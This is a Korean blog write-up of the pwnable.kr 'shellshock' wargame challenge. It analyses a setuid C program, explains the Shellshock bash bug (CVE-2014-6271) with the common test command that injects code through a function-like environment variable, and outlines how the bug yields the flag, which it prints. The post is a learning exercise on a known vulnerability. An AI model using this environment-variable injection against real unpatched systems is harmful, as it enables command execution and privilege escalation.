미역줄기의 이모저모
pwnable.kr shellshock 풀이 본문
1. 문제 확인

ssh shellshock@pwnable.kr로 접속해줍니다

파일들도 확인했으니 shellshock.c를 분석해봅시다!
2. 문제 분석
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
flag를 알아야 하는데 현재 id가 shellshock이기 때문에 flag를 볼 수 있는 권한이 없다,,
bash와 shellshock이라는 elf 파일이 존재하고, 두 파일 모두 실행 가능!
shellshock 파일은 setuid가 shellshock_pwn의 권한으로 걸려있으니
shellshock elf 파일을 통해 shellshock_pwn의 권한으로 flag를 볼 수 있을것 같다!
shellshock.c 파일을 분석해보자~
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
- setresuid(getegid(), getegid(), getegid());: 현재 프로세스의 사용자 ID를 획득한 그룹 ID로 설정
- setresgid(getegid(), getegid(), getegid());: 현재 프로세스의 그룹 ID를 획득한 그룹 ID로 설정
- system("/home/shellshock/bash -c 'echo shock_me'");: system 함수를 사용하여 지정된 명령어를 실행. 이 경우 "/home/shellshock/bash -c 'echo shock_me'" 명령어를 실행하는데, 이는 "shock_me"라는 문자열을 출력
딱히 취약점이 보이지 않는다. 하지만 shellshock 자체가 취약점이라고 한다!
Shellshock는 함수처럼 보이는 변수를 정의할 때 발생하는 취약점 이다.
함수처럼 보이는 변수란 함수 문법인 ' () { ' 로 시작하는 변수를 뜻합니다!!

x 라는 함수처럼 보이는 변수를 선언했습니다. printenv로 확인해보면 문자열로 등록이 되어있죠?
문자열이기 때문에 실행이 안 되는 모습(command not found)도 확인할 수 있습니다.
하지만 bash 명령어를 사용, 즉 subshell을 열었을 때 환경변수를 읽어오는 과정에서 함수 문법으로 시작하는 변수를 보고 함수라고 판단하게 됩니다.
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ x
test
이렇게!
shellshock에 대해 검색했을 때 가장 많이 나오는 취약점 진단 코드는 다음과 같습니다.
shellshock@ubuntu:~$ env a='() { :; }; echo vulnerable' bash -c "echo this is"
this is
취약한 shell이라면 this is와 vulnerable이 모두 출력되어야 하는데, this is만 나오네요..
위에서 ls를 했을때 bash 파일이 들어있는 것을 알 수 있습니다.
이 쉘을 이용해서 다시 한 번 진단해볼까요?

vulnerable과 this is 둘 다 나온걸 보니 취약하다는 것을 알 수 있습니다!
다시 shellshoc.c 코드를 가져와보면
shellshock@ubuntu:~$ cat shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
system 함수를 통해 subshell을 실행시켜 주고 있습니다
그렇다면 환경 변수에 함수처럼 보이는 flag를 출력하는 변수를 넣어준다면
Exploit이 가능하겠다!!

여기서 ./bash가 아니라 ./shellshock을 하는 이유!(./bash는 어차피 권한 없어서 못함 ㄱ-)
현재 setuid가 걸려있는 ./shellshock을 실행하면 shellshock_pwn의 권한으로 취약점이 있는 bash를 실행하고
그 결과 flag를 볼 수 있게된다!
flag: only if I knew CVE-2014-6271 ten years ago..!!
'Hacking > 포너블.kr 문제풀이' 카테고리의 다른 글
pwnable.kr cmd1 풀이 (1) | 2024.02.02 |
---|---|
pwnable.kr lotto 풀이 (0) | 2024.02.01 |
pwnable.kr blackjack 풀이 (0) | 2024.02.01 |
pwnable.kr mistake 풀이 (0) | 2024.02.01 |
pwnable.kr leg 풀이 (1) | 2024.02.01 |